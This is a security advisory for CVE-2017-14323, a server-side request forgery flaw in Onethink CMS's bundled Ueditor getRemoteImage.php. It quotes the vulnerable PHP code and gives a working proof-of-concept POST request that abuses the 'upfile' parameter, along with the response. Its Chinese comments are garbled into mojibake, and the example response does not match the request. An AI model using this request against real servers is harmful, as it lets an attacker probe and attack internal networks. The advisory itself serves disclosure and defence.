Onethink CMS Server Side Request Forgery

Onethink CMS versions released up to date 2018/04/06 suffer from a server-side request forgery vulnerability.


MD5 | 37fbf6905231e41dc7ab8bbf92cf136c

# SSRFPS"Server Side Request ForgeryPS(c) in Onethink  All version (CVE-2017-14323)

The Onethink is an open source CMS(Content Management System).This system is based on the Thinkphp3.2 development framework.

## Product Download: http://www.onethink.cn

## Vulnerability TypePSoSSRFPS"Server Side Request ForgeryPS(c)

## Attack Type : Remote

## Vulnerability Description

Onethink uses a Ueditor editor with a flawed version that causes the SSRF vulnerability to occur.

The vulnerability codePS"/Public/static/ueditor/php/getRemoteImage.phpPS(c):

$uri = htmlspecialchars( $_POST[ 'upfile' ] );
$uri = str_replace( "&" , "&" , $uri );
getRemoteImage( $uri,$config );
//echo($uri);

/**
* OP3IxY=E!
* @param $uri
* @param $config
*/
function getRemoteImage( $uri,$config)
{
//ooAOxY=E!E+-1/4aIThOAE
set_time_limit( 0 );
//ue_separate_ue ueOAOU'<<uUEy3/4U*O,i*uoA
$imgUrls = explode( "ue_separate_ue" , $uri );
$tmpNames = array();
foreach ( $imgUrls as $imgUrl ) {
//http?aI*NeO$?
if(strpos($imgUrl,"http")!==0){
array_push( $tmpNames , "error" );
continue;
}
//echo($imgUrl);
//>>nE!CeCoI*
$heads = get_headers( $imgUrl ); //This is a blind ssrf
//EAA'1/4i2a
if ( !( stristr( $heads[ 0 ] , "200" ) && stristr( $heads[ 0 ] , "OK" ) ) ) {
array_push( $tmpNames , "error" );
continue;
}

//,nE1/2NeO$?(A(c)O1AuNeO$?oIContent-TypeNeO$?)
$fileType = strtolower( strrchr( $imgUrl , '.' ) );
if ( !in_array( $fileType , $config[ 'allowFiles' ] ) || stristr( $heads[ 'Content-Type' ] , "image" ) ) {
array_push( $tmpNames , "error" );
continue;
}
//var_dump($tmpNames);

//'o?aEa3o>>o3aCo2C/>>nE!OP3II1/4AE!
ob_start();
$context = stream_context_create(
array (
'http' => array (
'follow_location' => false // don't follow redirects
)
)
);
//CeE*+-PSphp.iniODuAfopen wrappersON3/41/4$?>>i
readfile( $imgUrl,false,$context); //vulnerability is here,request any http(s) url
$img = ob_get_contents();
ob_end_clean();

## Exploit

Request Content:

POST http://target/Public/static/ueditor/php/getRemoteImage.php HTTP/1.1
Host: target
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 37
Connection: keep-alive

upfile=https://www.google.com/?%23.jpg

Response Content:

HTTP/1.1 200 OK
Server: nginx
Content-Type: text/html; charset=utf-8
Content-Length: 110

{'url':'upload/43361505134158.jpg','tip':'OP3II1/4AE!xY=E!3E1|PS!','srcUrl':'http://www.baidu.com/?#.jpg'}

modify the above upfile parameterPS!example:

request http protocol: upfile=http://www.google.com

request https protocol: upfile=https://www.google.com

This vulnerability only use http!C/https protocol

this vulnerability trigger need allow\_url\_fopen option is enable in php.iniPS!allow\_url\_fopen option defualt is enable.
## Versions

Onethink all version

## Impact

SSRF(Server Side Request Forgery) in Onethink V1.0 and V1.1 version allow remote attackers to information detection,internal network server attack.

## Credit

This vulnerability was discovered by Qian Wu & Bo Wang & Jiawang Zhang & National Computer Network Emergency Response Technical Team/Coordination Center of China (CNCERT/CC)

## References

CVE: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-14323



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